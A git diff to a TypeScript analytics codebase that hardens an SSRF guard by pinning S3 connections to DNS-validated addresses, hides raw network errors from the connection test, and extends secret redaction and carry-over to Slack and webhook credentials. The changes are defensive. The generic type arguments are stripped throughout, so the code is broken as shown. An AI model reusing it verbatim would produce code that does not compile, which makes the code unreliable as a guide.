diff --git a/packages/common/server/ssrf.test.ts b/packages/common/server/ssrf.test.ts
index 9b61d1ded..c34c69658 100644
--- a/packages/common/server/ssrf.test.ts
+++ b/packages/common/server/ssrf.test.ts
@@ -1,5 +1,5 @@
-import { afterEach, describe, expect, it } from 'vitest';
-import { assertSafeUrl } from './ssrf';
+import { afterEach, describe, expect, it, vi } from 'vitest';
+import { assertSafeUrl, createPinnedLookup } from './ssrf';
describe('assertSafeUrl', () => {
const original = process.env.SELF_HOSTED;
@@ -35,6 +35,53 @@ describe('assertSafeUrl', () => {
it('is a no-op on self-hosted (operator controls the network)', async () => {
process.env.SELF_HOSTED = 'true';
- await expect(assertSafeUrl('http://127.0.0.1/x')).resolves.toBeUndefined();
+ await expect(assertSafeUrl('http://127.0.0.1/x')).resolves.toBeNull();
+ });
+
+ it('only treats "true"/"1" as self-hosted', async () => {
+ // Bare truthiness would read SELF_HOSTED="false" as self-hosted and drop
+ // the guard on the cloud.
+ for (const value of ['false', '0', 'no']) {
+ process.env.SELF_HOSTED = value;
+ await expect(assertSafeUrl('http://127.0.0.1/x')).rejects.toThrow();
+ }
+ process.env.SELF_HOSTED = '1';
+ await expect(assertSafeUrl('http://127.0.0.1/x')).resolves.toBeNull();
+ });
+
+ it('returns the validated addresses so the caller can pin to them', async () => {
+ // Validating without pinning is check-then-connect: a client that resolves
+ // the hostname again can be steered elsewhere by a changed DNS answer.
+ process.env.SELF_HOSTED = '';
+ await expect(assertSafeUrl('http://93.184.216.34/x')).resolves.toEqual([
+ '93.184.216.34',
+ ]);
+ });
+});
+
+describe('createPinnedLookup', () => {
+ it('resolves every hostname to the pinned address', () => {
+ const lookup = createPinnedLookup('93.184.216.34');
+
+ const single = vi.fn();
+ lookup('anything.example', {}, single);
+ expect(single).toHaveBeenCalledWith(null, '93.184.216.34', 4);
+
+ const all = vi.fn();
+ lookup('anything.example', { all: true }, all);
+ expect(all).toHaveBeenCalledWith(null, [
+ { address: '93.184.216.34', family: 4 },
+ ]);
+ });
+
+ it('reports IPv6 addresses with the right family', () => {
+ const lookup = createPinnedLookup('2606:2800:220:1:248:1893:25c8:1946');
+ const cb = vi.fn();
+ lookup('anything.example', {}, cb);
+ expect(cb).toHaveBeenCalledWith(
+ null,
+ '2606:2800:220:1:248:1893:25c8:1946',
+ 6,
+ );
});
});
diff --git a/packages/common/server/ssrf.ts b/packages/common/server/ssrf.ts
index 65f08d476..bddd7a519 100644
--- a/packages/common/server/ssrf.ts
+++ b/packages/common/server/ssrf.ts
@@ -1,29 +1,32 @@
import { assertPublicUrl } from './safe-fetch';
+export { createPinnedLookup } from './safe-fetch';
+
/**
* Guard a stored, tenant-supplied URL that we are about to connect to with a
* client we don't control the transport of (the AWS SDK, a TLS probe). When the
* request goes through `fetch`, prefer `safeFetch` from `./safe-fetch`: it pins
- * the socket to the address it validated and re-checks every redirect hop,
- * neither of which is possible from the outside.
+ * the socket and re-checks every redirect hop.
+ *
+ * Returns the validated addresses, or `null` when the check was skipped. The
+ * caller MUST pin its connection to one of them (see `createPinnedLookup`):
+ * validating alone is check-then-connect, and a client that re-resolves the
+ * hostname itself can land somewhere else entirely if the DNS answer flips in
+ * between (rebinding).
*
* Skipped on self-hosted deployments: there's a single tenant who already
* controls the network, and reaching internal services (e.g. an internal MinIO
* or webhook receiver) is a legitimate, pre-existing use. The guard exists to
* stop cross-tenant SSRF on the managed/multi-tenant cloud.
- *
- * Note: DNS is resolved here and again by the client, so a deliberate DNS-rebind
- * between the two is not covered; this stops the common cases (literal
- * private/metadata URLs and hostnames pointing at internal IPs).
*/
-export async function assertSafeUrl(rawUrl: string): Promise {
+export async function assertSafeUrl(rawUrl: string): Promise {
// Compare explicitly: bare truthiness would treat SELF_HOSTED="false" as
// self-hosted and silently drop the guard on the cloud.
if (
process.env.SELF_HOSTED === 'true' ||
process.env.SELF_HOSTED === '1'
) {
- return;
+ return null;
}
let url: URL;
@@ -33,5 +36,5 @@ export async function assertSafeUrl(rawUrl: string): Promise {
throw new Error('Invalid URL');
}
- await assertPublicUrl(url);
+ return assertPublicUrl(url);
}
diff --git a/packages/integrations/src/object-store/s3-adapter.ts b/packages/integrations/src/object-store/s3-adapter.ts
index edb372253..a8777e0e2 100644
--- a/packages/integrations/src/object-store/s3-adapter.ts
+++ b/packages/integrations/src/object-store/s3-adapter.ts
@@ -5,7 +5,14 @@ import {
S3Client,
} from '@aws-sdk/client-s3';
import { AssumeRoleCommand, STSClient } from '@aws-sdk/client-sts';
-import { assertSafeUrl, decryptCredential } from '@openpanel/common/server';
+import { Agent as HttpAgent } from 'node:http';
+import { Agent as HttpsAgent } from 'node:https';
+import type { LookupFunction } from 'node:net';
+import {
+ assertSafeUrl,
+ createPinnedLookup,
+ decryptCredential,
+} from '@openpanel/common/server';
import { createLogger } from '@openpanel/logger';
import type { IS3ExportConfig } from '@openpanel/validation';
@@ -17,6 +24,23 @@ import type {
const logger = createLogger({ name: 's3-adapter' });
+/**
+ * Transport that dials only `address`, whatever DNS says at connect time.
+ *
+ * The AWS SDK resolves the endpoint hostname itself, so validating the address
+ * up front is check-then-connect: a hostname whose DNS answer flips between the
+ * two (rebinding) would connect somewhere we never checked. Pinning removes the
+ * second resolution entirely. Mirrors createPinnedAgent in
+ * common/server/safe-fetch, which does the same for fetch callers.
+ */
+function pinnedRequestHandler(address: string) {
+ const lookup = createPinnedLookup(address) as unknown as LookupFunction;
+ return {
+ httpAgent: new HttpAgent({ lookup }),
+ httpsAgent: new HttpsAgent({ lookup }),
+ };
+}
+
/**
* S3 Adapter for uploading export batches to AWS S3 or S3-compatible storage
* Supports two authentication modes:
@@ -44,25 +68,37 @@ export class S3Adapter implements IObjectStoreAdapter {
* Get or create an S3 client based on auth mode
*/
private async getClient(): Promise {
- // A custom endpoint is tenant-controlled; SSRF-guard the resolved host
- // before connecting (no-op on self-hosted). Default AWS endpoints are safe.
- if (this.config.endpoint) {
- await assertSafeUrl(this.config.endpoint);
- }
if (this.config.authMode === 'iam_role') {
+ // Assumed-role clients talk to the default AWS endpoint (see
+ // createClientWithAssumedRole) — the tenant's custom endpoint is not
+ // applied to them, so there is nothing tenant-controlled to guard.
return this.getClientWithAssumedRole();
}
- return this.getClientWithAccessKeys();
+
+ // A custom endpoint is tenant-controlled. Validate the resolved address AND
+ // pin the socket to it: validating alone is check-then-connect, and the AWS
+ // SDK re-resolves the hostname independently, so a DNS answer that flips
+ // between the check and the connect would reach an internal host.
+ // Self-hosted returns null (guard skipped) — a single tenant already owns
+ // the network, and internal MinIO endpoints are a legitimate use.
+ const addresses = this.config.endpoint
+ ? await assertSafeUrl(this.config.endpoint)
+ : null;
+
+ return this.getClientWithAccessKeys(addresses?.[0]);
}
/**
* Get or create an S3 client using static access keys
* For R2, MinIO, DigitalOcean Spaces, etc.
*/
- private getClientWithAccessKeys(): S3Client {
- // Access key clients don't expire, reuse if available
+ private async getClientWithAccessKeys(
+ pinnedAddress?: string,
+ ): Promise {
+ // Access key clients don't expire, reuse if available. A cached client is
+ // already pinned to a previously validated address, so reuse is safe.
if (this.clientPromise && this.clientExpiresAt === 0) {
- return this.clientPromise as unknown as S3Client;
+ return this.clientPromise;
}
if (this.config.authMode !== 'access_key') {
@@ -78,6 +114,11 @@ export class S3Adapter implements IObjectStoreAdapter {
},
// For R2, MinIO, etc.: force path-style addressing
forcePathStyle: !!this.config.endpoint,
+ // The hostname still travels as SNI and the Host header, so TLS
+ // verification is unaffected — only the address dialled is fixed.
+ ...(pinnedAddress
+ ? { requestHandler: pinnedRequestHandler(pinnedAddress) }
+ : {}),
});
logger.debug(
@@ -284,9 +325,38 @@ export class S3Adapter implements IObjectStoreAdapter {
return { success: true };
} catch (error) {
- const message = error instanceof Error ? error.message : 'Unknown error';
- return { success: false, error: message };
+ return { success: false, error: this.describeError(error) };
+ }
+ }
+
+ /**
+ * Turn an SDK error into something the user can act on, without echoing raw
+ * transport detail back to them. The endpoint is caller-supplied, so a
+ * verbatim message ("ECONNREFUSED 10.0.0.5:22", a TLS handshake failure)
+ * would make this procedure a probe for whatever the worker can reach.
+ * Errors are logged in full for operators.
+ */
+ private describeError(error: unknown): string {
+ const name = (error as { name?: string } | null)?.name;
+ const status = (error as { $metadata?: { httpStatusCode?: number } } | null)
+ ?.$metadata?.httpStatusCode;
+
+ logger.warn({ err: error, bucket: this.config.bucket }, 'S3 test failed');
+
+ if (status === 404 || name === 'NotFound' || name === 'NoSuchBucket') {
+ return `Bucket '${this.config.bucket}' does not exist or is not accessible`;
+ }
+ if (status === 403 || name === 'AccessDenied' || name === 'Forbidden') {
+ return `Access denied to bucket '${this.config.bucket}'. Check the credentials and their bucket permissions.`;
+ }
+ if (status === 301 || name === 'PermanentRedirect') {
+ return `Bucket '${this.config.bucket}' is in a different region than '${this.config.region}'`;
+ }
+ if (name === 'InvalidAccessKeyId' || name === 'SignatureDoesNotMatch') {
+ return 'The access key or secret is not valid for this endpoint';
}
+ // Anything else (DNS, connection, TLS) collapses to one message on purpose.
+ return 'Could not reach the bucket. Check the endpoint, region and bucket name.';
}
}
diff --git a/packages/integrations/src/registry.test.ts b/packages/integrations/src/registry.test.ts
index 19a21a8d5..4ce710425 100644
--- a/packages/integrations/src/registry.test.ts
+++ b/packages/integrations/src/registry.test.ts
@@ -90,6 +90,113 @@ describe('config secret handling', () => {
expect(findMissingSecretFields(s3IamRole)).toEqual([]);
});
+ it('redacts a nested secret without disturbing its siblings', () => {
+ const slack = {
+ type: 'slack',
+ access_token: 'xoxb-super-secret',
+ team: { id: 'T1', name: 'Acme' },
+ incoming_webhook: {
+ channel: '#alerts',
+ channel_id: 'C1',
+ configuration_url: 'https://acme.slack.com/services/B1',
+ url: 'https://hooks.slack.com/services/T1/B1/secret',
+ },
+ };
+ const redacted = redactConfigSecrets(slack);
+
+ expect(redacted.access_token).toBe('');
+ expect(redacted.incoming_webhook.url).toBe('');
+ // Everything the UI needs stays intact.
+ expect(redacted.incoming_webhook.channel).toBe('#alerts');
+ expect(redacted.incoming_webhook.configuration_url).toBe(
+ 'https://acme.slack.com/services/B1',
+ );
+ expect(redacted.team).toEqual({ id: 'T1', name: 'Acme' });
+ // The original is untouched — the worker reads the stored row, not this.
+ expect(slack.incoming_webhook.url).toBe(
+ 'https://hooks.slack.com/services/T1/B1/secret',
+ );
+ });
+
+ it('redacts webhook header values but keeps the keys visible', () => {
+ const redacted = redactConfigSecrets({
+ type: 'webhook',
+ url: 'https://acme.test/hook',
+ mode: 'message',
+ headers: { Authorization: 'Bearer sk-live-123', 'X-Env': 'prod' },
+ });
+
+ expect(redacted.headers).toEqual({ Authorization: '', 'X-Env': '' });
+ // The destination URL is not redacted: the user typed it and must be able
+ // to edit it.
+ expect(redacted.url).toBe('https://acme.test/hook');
+ });
+
+ it('carries header values over per key, so an edit keeps the others', () => {
+ const stored = {
+ type: 'webhook',
+ url: 'https://acme.test/hook',
+ mode: 'message',
+ headers: { Authorization: 'Bearer sk-live-123', 'X-Env': 'prod' },
+ };
+ const submitted = carryOverConfigSecrets(
+ {
+ ...stored,
+ url: 'https://acme.test/hook-v2',
+ // Authorization came back blank (redacted, untouched); X-Env retyped;
+ // a third header added; nothing removed.
+ headers: { Authorization: '', 'X-Env': 'staging', 'X-New': 'v' },
+ },
+ stored,
+ );
+
+ expect(submitted.headers).toEqual({
+ Authorization: 'Bearer sk-live-123',
+ 'X-Env': 'staging',
+ 'X-New': 'v',
+ });
+ expect(submitted.url).toBe('https://acme.test/hook-v2');
+ });
+
+ it('lets a removed header stay removed', () => {
+ const stored = {
+ type: 'webhook',
+ url: 'https://acme.test/hook',
+ mode: 'message',
+ headers: { Authorization: 'Bearer sk-live-123' },
+ };
+ const submitted = carryOverConfigSecrets(
+ { ...stored, headers: {} },
+ stored,
+ );
+ expect(submitted.headers).toEqual({});
+ });
+
+ it('does not encrypt redact-only secrets', () => {
+ // The notification senders read these raw; encrypting without decrypting at
+ // use would break delivery.
+ const slack = encryptConfigSecrets({
+ type: 'slack',
+ access_token: 'xoxb-super-secret',
+ incoming_webhook: { url: 'https://hooks.slack.com/x' },
+ });
+ expect(slack.access_token).toBe('xoxb-super-secret');
+ expect(slack.incoming_webhook.url).toBe('https://hooks.slack.com/x');
+ });
+
+ it('only flags a replayed ciphertext on encrypted fields', () => {
+ // A redact-only value is stored in plaintext, so a header that happens to
+ // start with "enc:" is just a string, not a replay.
+ expect(
+ findEncryptedSecretField({
+ type: 'webhook',
+ url: 'https://acme.test/hook',
+ mode: 'message',
+ headers: { Authorization: 'enc:not-really' },
+ }),
+ ).toBeUndefined();
+ });
+
it('detects a replayed ciphertext on the input path', () => {
// A client is never given a ciphertext, so one arriving is an attempt to
// replay a secret lifted from another integration.
diff --git a/packages/integrations/src/registry.ts b/packages/integrations/src/registry.ts
index a3576d336..875e9fc88 100644
--- a/packages/integrations/src/registry.ts
+++ b/packages/integrations/src/registry.ts
@@ -68,12 +68,13 @@ export interface IServerIntegration {
config: ConfigOf,
): Promise<{ success: boolean; error?: string }>;
/**
- * Config keys holding a credential. ONE declaration drives all three things
- * we must do with a secret — encrypt at rest, redact on read, carry the
- * stored value over when an update submits a blank — so they can never drift
- * apart as integrations are added.
+ * Config values that must never travel back to a client. ONE declaration
+ * drives everything we do with a secret — redact on read, carry the stored
+ * value over when an update submits a blank, encrypt at rest, reject a
+ * replayed ciphertext — so they can never drift apart as integrations are
+ * added.
*/
- secretFields?: readonly Extract>, string>[];
+ secretFields?: readonly IConfigSecret>[];
}
/**
@@ -83,8 +84,42 @@ export interface IServerIntegration {
*/
type AllConfigKeys = T extends unknown ? keyof T : never;
+/** A top-level key, or a dotted path whose first segment is a real key. */
+type SecretPath =
+ | Extract, string>
+ | `${Extract, string>}.${string}`;
+
+export interface IConfigSecret {
+ path: SecretPath;
+ /**
+ * Also encrypt at rest, and treat the value as a required credential:
+ * rejected if it arrives already encrypted (a replay), and rejected if it is
+ * still blank after carry-over.
+ *
+ * Only for values whose readers decrypt at use. The object-store adapters
+ * do; the notification senders read `config.url` / `config.headers` /
+ * `incoming_webhook.url` raw, so those are redact-only until they decrypt
+ * too (which needs a backfill of the existing plaintext rows).
+ */
+ encrypted?: boolean;
+ /**
+ * The value is a Record whose VALUES are secret — webhook
+ * auth headers. Keys stay visible so the form can still show which headers
+ * are set, and carry-over is per key.
+ */
+ record?: boolean;
+}
+
const slackServer: IServerIntegration<'slack'> = {
type: 'slack',
+ // The bot token and the incoming-webhook URL are both bearer credentials for
+ // the customer's Slack workspace. Redact-only: the worker reads them raw, and
+ // nothing round-trips them (the OAuth callback rewrites the whole config), so
+ // there is no carry-over to worry about.
+ secretFields: [
+ { path: 'access_token' },
+ { path: 'incoming_webhook.url' },
+ ],
notification: {
deliver: ({ config, notification }) =>
sendSlackNotification({
@@ -120,6 +155,10 @@ const discordServer: IServerIntegration<'discord'> = {
const webhookServer: IServerIntegration<'webhook'> = {
type: 'webhook',
+ // Header VALUES routinely carry an Authorization bearer. Keys stay visible so
+ // the form still shows which headers are configured; blank values carry over
+ // per key on update. Redact-only — postWebhook sends them raw.
+ secretFields: [{ path: 'headers', record: true }],
validateConfig: (config) => {
if (config.mode === 'javascript' && config.javascriptTemplate) {
const result = validateJavaScriptTemplate(config.javascriptTemplate);
@@ -170,7 +209,7 @@ const s3Server: IServerIntegration<'s3_export'> = {
},
testConnection: (config) => createS3Adapter(config).testConnection(),
// Absent in iam_role configs; the generic helpers skip keys that aren't there.
- secretFields: ['secretAccessKey'],
+ secretFields: [{ path: 'secretAccessKey', encrypted: true }],
};
const gcsServer: IServerIntegration<'gcs_export'> = {
@@ -179,7 +218,7 @@ const gcsServer: IServerIntegration<'gcs_export'> = {
createAdapter: (config) => createGCSAdapter(config),
},
testConnection: (config) => createGCSAdapter(config).testConnection(),
- secretFields: ['serviceAccountKey'],
+ secretFields: [{ path: 'serviceAccountKey', encrypted: true }],
};
export const SERVER_INTEGRATIONS = {
@@ -210,57 +249,117 @@ export function getServerIntegration(
// ---------------------------------------------------------------------------
// Generic secret handling, driven by each plugin's `secretFields`.
//
-// Credentials are WRITE-ONLY: encrypted before they are persisted, blanked
-// before a config is returned to a client, and restored from the stored row
-// when an update submits a blank. Returning a stored ciphertext to a client
-// would both hand a project *reader* the org's credentials and make the blob
-// replayable — decryptCredential accepts any `enc:` value under the single
-// global key, so it is a portable bearer token, not an opaque one.
+// Credentials are WRITE-ONLY: blanked before a config is returned to a client,
+// and restored from the stored row when an update submits a blank. Returning a
+// stored credential would hand a project *reader* the org's secrets — `read` is
+// bare project membership. For the encrypted ones it is worse than disclosure:
+// decryptCredential accepts any `enc:` value under the single global key, so a
+// returned ciphertext is a portable bearer token, not an opaque handle.
// ---------------------------------------------------------------------------
-type LooseConfig = Record & { type?: string };
+type LooseConfig = Record;
/** Lenient like `isKind`: an empty/unknown config simply has no secrets. */
-function secretFieldsFor(config: unknown): readonly string[] {
- const type = (config as LooseConfig | null)?.type;
+function secretsFor(config: unknown): readonly IConfigSecret[] {
+ const type = (config as { type?: string } | null)?.type;
if (!type || !(type in SERVER_INTEGRATIONS)) {
return [];
}
const plugin = SERVER_INTEGRATIONS[
type as IIntegrationConfig['type']
] as IServerIntegration;
- return plugin.secretFields ?? [];
+ return (plugin.secretFields ?? []) as readonly IConfigSecret[];
+}
+
+function readPath(config: unknown, path: string): unknown {
+ let cursor: unknown = config;
+ for (const segment of path.split('.')) {
+ if (typeof cursor !== 'object' || cursor === null) {
+ return undefined;
+ }
+ cursor = (cursor as LooseConfig)[segment];
+ }
+ return cursor;
+}
+
+/** Immutably set `path`, cloning only the objects along the way. */
+function writePath(config: C, path: string, value: unknown): C {
+ const [head, ...rest] = path.split('.');
+ if (head === undefined) {
+ return config;
+ }
+ const source = config as LooseConfig;
+ if (rest.length === 0) {
+ return { ...source, [head]: value } as C;
+ }
+ const child = source[head];
+ if (typeof child !== 'object' || child === null) {
+ return config;
+ }
+ return {
+ ...source,
+ [head]: writePath(child, rest.join('.'), value),
+ } as C;
}
+/**
+ * Apply `map` to every declared secret. `map` returns the replacement, or
+ * undefined to leave the value alone. Returns the original object by identity
+ * when nothing changed, so callers can cheaply skip a copy.
+ */
function mapSecrets(
config: C,
- map: (value: string, field: string) => string | undefined,
+ map: (
+ value: string,
+ secret: IConfigSecret,
+ recordKey?: string,
+ ) => string | undefined,
): C {
- const fields = secretFieldsFor(config);
- if (fields.length === 0) {
- return config;
- }
+ let next = config;
+
+ for (const secret of secretsFor(config)) {
+ const current = readPath(next, secret.path);
+
+ if (secret.record) {
+ if (typeof current !== 'object' || current === null) {
+ continue;
+ }
+ let replacement: Record | undefined;
+ for (const [key, value] of Object.entries(current as LooseConfig)) {
+ if (typeof value !== 'string') {
+ continue;
+ }
+ const mapped = map(value, secret, key);
+ if (mapped === undefined || mapped === value) {
+ continue;
+ }
+ replacement ??= { ...(current as LooseConfig) };
+ replacement[key] = mapped;
+ }
+ if (replacement) {
+ next = writePath(next, secret.path, replacement);
+ }
+ continue;
+ }
- let next: Record | undefined;
- for (const field of fields) {
- const current = (config as LooseConfig)[field];
if (typeof current !== 'string') {
continue;
}
- const replacement = map(current, field);
- if (replacement === undefined || replacement === current) {
+ const mapped = map(current, secret);
+ if (mapped === undefined || mapped === current) {
continue;
}
- next ??= { ...(config as Record) };
- next[field] = replacement;
+ next = writePath(next, secret.path, mapped);
}
- return (next as C) ?? config;
+ return next;
}
-/** Encrypt every declared secret before persisting. */
+/** Encrypt every declared secret that is stored encrypted. */
export function encryptConfigSecrets(config: C): C {
- return mapSecrets(config, (value) => encryptCredential(value));
+ return mapSecrets(config, (value, secret) =>
+ secret.encrypted ? encryptCredential(value) : undefined,
+ );
}
/** Blank every declared secret before a config leaves the API. */
@@ -270,35 +369,48 @@ export function redactConfigSecrets(config: C): C {
/**
* Restore secrets the client left blank from the stored row, so an edit that
- * doesn't retype the credential keeps working now that reads are redacted.
+ * doesn't retype them keeps working now that reads are redacted. Record values
+ * carry over per key, so clearing one header still clears it while the others
+ * survive.
*/
export function carryOverConfigSecrets(next: C, stored: unknown): C {
- return mapSecrets(next, (value, field) => {
+ return mapSecrets(next, (value, secret, recordKey) => {
if (value !== '') {
return undefined;
}
- const previous = (stored as LooseConfig | null)?.[field];
- return typeof previous === 'string' ? previous : undefined;
+ const previous = readPath(stored, secret.path);
+ if (recordKey === undefined) {
+ return typeof previous === 'string' ? previous : undefined;
+ }
+ if (typeof previous !== 'object' || previous === null) {
+ return undefined;
+ }
+ const previousValue = (previous as LooseConfig)[recordKey];
+ return typeof previousValue === 'string' ? previousValue : undefined;
});
}
/**
- * Name of the first declared secret that arrived already encrypted, if any.
+ * Path of the first encrypted secret that arrived already encrypted, if any.
* Callers reject the request: a client never legitimately holds a ciphertext,
- * so one on the wire is a replay attempt.
+ * so one on the wire is a replay attempt. Redact-only fields are stored in
+ * plaintext, so an `enc:`-looking value there is just a string.
*/
export function findEncryptedSecretField(config: unknown): string | undefined {
- for (const field of secretFieldsFor(config)) {
- const value = (config as LooseConfig)[field];
+ for (const secret of secretsFor(config)) {
+ if (!secret.encrypted) {
+ continue;
+ }
+ const value = readPath(config, secret.path);
if (typeof value === 'string' && looksEncrypted(value)) {
- return field;
+ return secret.path;
}
}
return undefined;
}
/**
- * Names of the declared secrets that are present but blank.
+ * Paths of the required credentials that are present but blank.
*
* An ABSENT field is not missing — it is not applicable to this config variant
* (an `iam_role` S3 config carries no `secretAccessKey` at all), and the zod
@@ -308,7 +420,12 @@ export function findMissingSecretFields(config: unknown): string[] {
if (typeof config !== 'object' || config === null) {
return [];
}
- return secretFieldsFor(config).filter(
- (field) => field in config && (config as LooseConfig)[field] === '',
- );
+ return secretsFor(config)
+ .filter(
+ (secret) =>
+ secret.encrypted &&
+ readPath(config, secret.path) === '' &&
+ !secret.record,
+ )
+ .map((secret) => secret.path);
}